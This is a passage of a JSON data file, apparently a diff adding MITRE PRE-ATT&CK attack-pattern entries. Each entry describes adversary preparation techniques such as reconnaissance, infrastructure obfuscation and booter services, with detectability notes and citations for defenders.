"x_mitre_detectable_by_common_defenses_explanation": "While possible to detect, it requires a broader vantage point than is typical that provides increased insight and conducts extensive data analysis and correlation between events.", + "name": "Leverage compromised 3rd party resources", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nThe utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "id": "attack-pattern--2c8a9df4-52a9-4770-94b3-5e95ab7d59f9", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Conducting technique requires either nation-state level capabilities or large amounts of financing to coordinate multiple 3rd party resources to gain desired insight.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_detectable_by_common_defenses": "No", + "external_references": [ + { + "external_id": "T1375", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1375" + }, + { + "description": "Bill Marczak, Jakub Dalek, John Scott-Railton, Ron Deibert, Sarah McKune. (2015, April 10). China\u2019s Great Cannon. Retrieved March 9, 2017.", + "source_name": "CitizenLabGreatCannon" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_old_attack_id": "PRE-T1029", + "x_mitre_detectable_by_common_defenses_explanation": "Network mapping techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute. Defender review of access logs may provide some insight based on trends or patterns.", + "name": "Map network topology", + "description": "A network topology is the arrangement of the various elements of a network (e.g., servers, workstations, printers, routers, firewalls, etc.). Mapping a network allows an adversary to understand how the elements are connected or related. (Citation: man traceroute) (Citation: Shodan Tutorial)", + "kill_chain_phases": [ + { + "phase_name": "technical-information-gathering", + "kill_chain_name": "mitre-pre-attack" + } + ], + "id": "attack-pattern--cdfdb0cd-a839-403c-9dd6-8a85d8c5c73d", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Various available tools and data sources for scouting and detecting network topologies.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2019-02-05T23:14:47.048Z", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1252", + "url": "https://attack.mitre.org/techniques/T1252" + }, + { + "source_name": "man traceroute", + "description": "Linux Man Page. (n.d.). traceroute(8) - Linux man page. Retrieved April 2, 2017." + }, + { + "source_name": "Shodan Tutorial", + "description": "A Shodan Tutorial and Primer Daniel Miessler. (n.d.). A Shodan Tutorial and Primer. Retrieved April 2, 2017." + } + ], + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "x_mitre_old_attack_id": "PRE-T1050", + "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.", + "name": "Mine social media", + "description": "An adversary may research available open source information about a target commonly found on social media sites such as [Facebook](https://www.facebook.com), [Instagram](https://www.instagram.com), or [Pinterest](https://www.pinterest.com). Social media is public by design and provides insight into the interests and potentially inherent weaknesses of a target for exploitation by the adversary. (Citation: RSA-APTRecon)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-information-gathering" + } + ], + "id": "attack-pattern--695b1cce-57d7-49ae-a2af-820d50153f12", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Very public by design. Application of privacy settings is not a panacea.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1273", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1273" + }, + { + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017.", + "source_name": "RSA-APTRecon" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1034", + "x_mitre_detectable_by_common_defenses_explanation": "Cannot detect access to public sites.", + "name": "Mine technical blogs/forums", + "description": "Technical blogs and forums provide a way for technical staff to ask for assistance or troubleshoot problems. In doing so they may reveal information such as operating system (OS), network devices, or applications in use. (Citation: FunAndSun2012)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "id": "attack-pattern--a54a7708-8f64-45f3-ad51-1abf976986a0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Success is dependent upon the existence of detailed technical specifications for target network posted in blogs/forums. Poor OPSEC practices result in an adversary gleaning a lot of sensitive information about configurations and/or issues encountered.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1257", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1257" + }, + { + "description": "Jeff Bardin. (2012, October 10). OSINT and Cyber Intelligence - Fun and Sun in Miami. Retrieved March 1, 2017.", + "source_name": "FunAndSun2012" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1099", + "x_mitre_detectable_by_common_defenses_explanation": "If a previous incident identified the credentials used by an adversary, defenders can potentially use these credentials to track the adversary through reuse of the same credentials.", + "name": "Misattributable credentials", + "description": "The use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity. An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case. (Citation: FakeSSLCerts)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "id": "attack-pattern--31fa5b03-1ede-4fab-8a68-ed831fcf4899", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "An adversary can easily create and use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com AWS] accounts, etc. Many service providers require some form of identifiable information such as a phone number or email address, but there are several avenues to acquire these consistent with the misattributable identity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1322", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1322" + }, + { + "description": "Paul Mutton. (2014, February 12). Fake SSL certificates deployed across the internet. Retrieved March 1, 2017.", + "source_name": "FakeSSLCerts" + } + ], + "x_mitre_detectable_by_common_defenses": "Partial" + }, + { + "x_mitre_old_attack_id": "PRE-T1092", + "x_mitre_detectable_by_common_defenses_explanation": "Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.", + "name": "Network-based hiding techniques", + "description": "Technical network hiding techniques are methods of modifying traffic to evade network signature detection or to utilize misattribution techniques. Examples include channel/IP/VLAN hopping, mimicking legitimate operations, or seeding with misinformation. (Citation: HAMMERTOSS2015)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "id": "attack-pattern--90884cdb-31dd-431c-87db-9cc7e03191e5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Some of the hiding techniques require special accesses (network, proximity, physical, etc.) and/or may rely on knowledge of how the defender operates and/or awareness on what visibility the defender has and how it is obtained", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1315", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1315" + }, + { + "description": "FireEye. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved March 6, 2017.", + "source_name": "HAMMERTOSS2015" + } + ], + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "x_mitre_old_attack_id": "PRE-T1093", + "x_mitre_detectable_by_common_defenses_explanation": "Defender likely will not have access to payment information. Monitoring crypto-currency or barter boards is resource intensive and not fully automatable.", + "name": "Non-traditional or less attributable payment options", + "description": "Using alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts. (Citation: Goodin300InBitcoins)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "id": "attack-pattern--b79e8a3f-a109-47c2-a0e3-564955590a3d", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Easy to use pre-paid cards or shell accounts to pay for services online. Crypto currencies and barter systems can avoid use of trace-able bank or credit apparatus.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1316", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1316" + }, + { + "description": "Dan Goodin. (2013, October 17). You\u2019re infected\u2014if you want to see your data again, pay us $300 in Bitcoins. Retrieved March 6, 2017.", + "source_name": "Goodin300InBitcoins" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1167", + "x_mitre_detectable_by_common_defenses_explanation": "These services are heavily utilized by mainstream mobile app developers. High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.", + "name": "OS-vendor provided communication channels", + "description": "Google and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices. (Citation: Securelist Mobile Malware 2013) (Citation: DroydSeuss)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "id": "attack-pattern--5436571f-2332-4b51-b7ed-0bc822fe02c2", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "These are free services provided by Google and Apple to app developers, and information on how to use them is readily available.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1390", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1390" + }, + { + "description": "Roman Unuchek, Victor Chebyshev. (2014, February 24). Mobile Malware Evolution: 2013. Retrieved April 12, 2017.", + "source_name": "Securelist Mobile Malware 2013" + }, + { + "description": "Alberto Coletta, Victor van der Veen, and Federico Maggi. (2016). DroydSeuss: A Mobile Banking Trojan Tracker - Short Paper. Retrieved April 12, 2017.", + "source_name": "DroydSeuss" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1086", + "x_mitre_detectable_by_common_defenses_explanation": "Difficult, but defender is well aware of technique and attempts to find discrepancies.", + "name": "Obfuscate infrastructure", + "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: LUCKYCAT2012)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "id": "attack-pattern--e6ca2820-a564-4b74-b42a-b6bdf052e5b6", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Adversary has a variety of solutions, ranging in difficulty, that can be employed (e.g., BGP hijacking, tunneling, reflection, multi-hop, etc.)\nAdversary can also use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com Amazon Web Services] (AWS) accounts, etc.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1309", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1309" + }, + { + "description": "Forward-Looking Threat Research Team. (2012). LUCKYCAT REDUX: Inside an APT Campaign with Multiple Targets in India and Japan. Retrieved March 1, 2017.", + "source_name": "LUCKYCAT2012" + } + ], + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "x_mitre_old_attack_id": "PRE-T1108", + "x_mitre_detectable_by_common_defenses_explanation": "Defender will generally not have visibility into their infrastructure.", + "name": "Obfuscate infrastructure", + "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "id": "attack-pattern--72c8d526-1247-42d4-919c-6d7a31ca8f39", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Building and testing infrastructure and obfuscating it to protect it against intrusions are a standard part of the adversary process in preparing to conduct an operation against a target.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1331", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1331" + }, + { + "description": "FireEye. (2015, May). APT17: Hiding in Plain Sight - FireEye and Microsoft Expose Obfuscation Tactic. Retrieved March 6, 2017.", + "source_name": "FireEyeAPT17" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1095", + "x_mitre_detectable_by_common_defenses_explanation": "While possible to detect given a significant sample size, depending on how the unique identifier is used detection may be difficult as similar patterns may be employed elsewhere (e.g., content hosting providers, account reset URLs).", + "name": "Obfuscate operational infrastructure", + "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: DellComfooMasters)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "id": "attack-pattern--9d234df0-2344-4db4-bc0f-8de9c6c071a7", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "An adversary can easily generate pseudo-random identifiers to associate with a specific target, include the indicator as part of a URL and then identify which target was successful.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1318", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1318" + }, + { + "description": "Joe Stewart and Don Jackson, Dell SecureWorks Counter Threat Unit(TM) Threat Intelligence. (2013, July 31). Secrets of the Comfoo Masters. Retrieved March 6, 2017.", + "source_name": "DellComfooMasters" + } + ], + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "x_mitre_old_attack_id": "PRE-T1096", + "x_mitre_detectable_by_common_defenses_explanation": "Detecting encryption is easy, decrypting/deobfuscating is hard.", + "name": "Obfuscate or encrypt code", + "description": "Obfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption. (Citation: CylanceOpCleaver)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "id": "attack-pattern--357e137c-7589-4af1-895c-3fbad35ea4d2", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Various solutions exist for the adversary to use. This technique is commonly used to prevent attribution and evade detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1319", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1319" + }, + { + "description": "CYLANCE. (n.d.). Operation Cleaver. Retrieved March 6, 2017.", + "source_name": "CylanceOpCleaver" + } + ], + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "x_mitre_old_attack_id": "PRE-T1090", + "x_mitre_detectable_by_common_defenses_explanation": "Techniques and signatures are hard to detect. Advanced communications and exfiltration channels are nearly indistinguishable from background noise.", + "name": "Obfuscation or cryptography", + "description": "Obfuscation is the act of creating communications that are more difficult to understand. Encryption transforms the communications such that it requires a key to reverse the encryption. (Citation: FireEyeAPT28)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "id": "attack-pattern--c2ffd229-11bb-4fd8-9208-edbe97b14c93", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Known approaches include the use of cryptography for communications, rotating drops sites (such as random list of chat fora), and one-time [https://aws.amazon.com/s3/ Simple Storage Service (S3)] buckets, etc. All require sophisticated knowledge, infrastructure, and funding.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1313", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1313" + }, + { + "description": "FireEye, Inc. (2014). APT 28: A Window into Russia\u2019s Cyber Espionage Operations?. Retrieved March 1, 2017.", + "source_name": "FireEyeAPT28" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1169", + "x_mitre_detectable_by_common_defenses_explanation": "Starting in iOS 9, Apple has changed the user interface when installing apps to better indicate to users the potential implications of installing apps signed by an enterprise distribution key rather than from Apple's App Store and to make it more difficult for users to inadvertently install these apps. Additionally, enterprise management controls are available that can be imposed to prevent installing these apps. Also, enterprise mobility management / mobile device management (EMM/MDM) systems can be used to scan for the presence of undesired apps on enterprise mobile devices.", + "name": "Obtain Apple iOS enterprise distribution key pair and certificate", + "description": "The adversary can obtain an Apple iOS enterprise distribution key pair and certificate and use it to distribute malicious apps directly to Apple iOS devices without the need to publish the apps to the Apple App Store (where the apps could potentially be detected). (Citation: Apple Developer Enterprise Porgram Apps) (Citation: Fruit vs Zombies) (Citation: WIRELURKER) (Citation: Sideloading Change)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "persona-development" + } + ], + "id": "attack-pattern--d58f3996-e293-4f69-a2c8-0e1851cb8297", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Apple requires a DUNS number, corporate documentation, and $299 to obtain an enterprise distribution certificate. Additionally, Apple revokes certificates if they discover malicious use. However, the enrollment information could be falsified to Apple by an adversary, or an adversary could steal an existing enterprise distribution certificate (and the corresponding private key) from a business that already possesses one.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1392", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1392" + }, + { + "description": "Apple Inc.. (2016). Distributing Apple Developer Enterprise Program Apps. Retrieved April 12, 2017.", + "source_name": "Apple Developer Enterprise Porgram Apps" + }, + { + "description": "Claud Xiao. (2016). Fruit vs Zombies: Defeat Non-jailbroken iOS Malware. Retrieved April 12, 2017.", + "source_name": "Fruit vs Zombies" + }, + { + "description": "Claud Xiao. (2014). WIRELURKER: A New Era in iOS and OS X Malware. Retrieved April 12, 2017.", + "source_name": "WIRELURKER" + }, + { + "description": "David Richardson. (2015, September 10). Change to sideloading apps in iOS 9 is a security win. Retrieved April 12, 2017.", + "source_name": "Sideloading Change" + } + ], + "x_mitre_detectable_by_common_defenses": "Partial" + }, + { + "x_mitre_old_attack_id": "PRE-T1173", + "x_mitre_detectable_by_common_defenses_explanation": "Purchase of booster services is not observable; potentially can trace booster service used to origin of sale, yet not before attack is executed. Furthermore, subscription does not automatically mean foul intention.", + "name": "Obtain booter/stressor subscription", + "description": "Configure and setup booter/stressor services, often intended for server stress testing, to enable denial of service attacks. (Citation: Krebs-Anna) (Citation: Krebs-Booter) (Citation: Krebs-Bazaar)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "id": "attack-pattern--3d1488a6-59e6-455a-8b80-78b53edc33fe", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Easily accessible and used to launch DDoS attacks by even novice Internet users, and can be purchased from providers for a nominal fee, some of which even accept credit cards and PayPal payments to do.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1396", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1396" + }, + { + "description": "Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai Worm Author?. Retrieved May 15, 2017.", + "source_name": "Krebs-Anna" + }, + { + "description": "Brian Krebs. (2016, October 27). Are the Days of \u201cBooter\u201d Services Numbered?. Retrieved May 15, 2017.", + "source_name": "Krebs-Booter" + }, + { + "description": "Brian Krebs. (2016, October 31). Hackforums Shutters Booter Service Bazaar. Retrieved May 15, 2017.", + "source_name": "Krebs-Bazaar" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1028", + "x_mitre_detectable_by_common_defenses_explanation": "Open access to DNS registration/routing information is inherent in Internet architecture.", + "name": "Obtain domain/IP registration information", + "description": "For a computing resource to be accessible to the public, domain names and IP addresses must be registered with an authorized organization. (Citation: Google Domains WHOIS) (Citation: FunAndSun2012) (Citation: Scasny2015)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "id": "attack-pattern--46017368-6e09-412b-a29c-385be201cc03", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Proliferation of DNS information makes registration information functionally freely available.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1251", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1251" + }, + { + "description": "Google Domains. (n.d.). About WHOIS. Retrieved April 2, 2017.", + "source_name": "Google Domains WHOIS" + }, + { + "description": "Jeff Bardin. (2012, October 10). OSINT and Cyber Intelligence - Fun and Sun in Miami. Retrieved March 1, 2017.", + "source_name": "FunAndSun2012" + }, + { + "description": "Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.", + "source_name": "Scasny2015" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1058", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary may download templates or branding from publicly available presentations that the defender can't monitor.", + "name": "Obtain templates/branding materials", + "description": "Templates and branding materials may be used by an adversary to add authenticity to social engineering message. (Citation: Scasny2015)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-information-gathering" + } + ], + "id": "attack-pattern--68b45999-bb0c-4829-bbd0-75d6dac57c94", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Some branding information is publicly available when a corporation publishes their briefings to the internet which provides insight into branding information and template materials. An exhaustive list of templating and branding is likely not available on the internet.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1281", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1281" + }, + { + "description": "Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.", + "source_name": "Scasny2015" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1123", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary will likely use code repositories, but detecting an adversary acquiring a payload would require the defender to be monitoring the code repository where the payload is stored. If the adversary re-uses payloads, this allows the defender to create signatures to detect using these known indicators of compromise (e.g., hashes).", + "name": "Obtain/re-use payloads", + "description": "A payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available. (Citation: SonyDestover)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "build-capabilities" + } + ], + "id": "attack-pattern--27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Several exploit repositories and tool suites exist for re-use and tailoring.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1346", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1346" + }, + { + "description": "Kurt Baumgartner. (2014, December 4). Sony/Destover: mystery North Korean actor\u2019s destructive and past network activity. Retrieved March 9, 2017.", + "source_name": "SonyDestover" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1140", + "x_mitre_detectable_by_common_defenses_explanation": "Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.", + "name": "Port redirector", + "description": "Redirecting a communication request from one address and port number combination to another. May be set up to obfuscate the final location of communications that will occur in later stages of an attack. (Citation: SecureWorks HTRAN Analysis)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "stage-capabilities" + } + ], + "id": "attack-pattern--13ff5307-b650-405a-9664-d8076930b2bf", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": 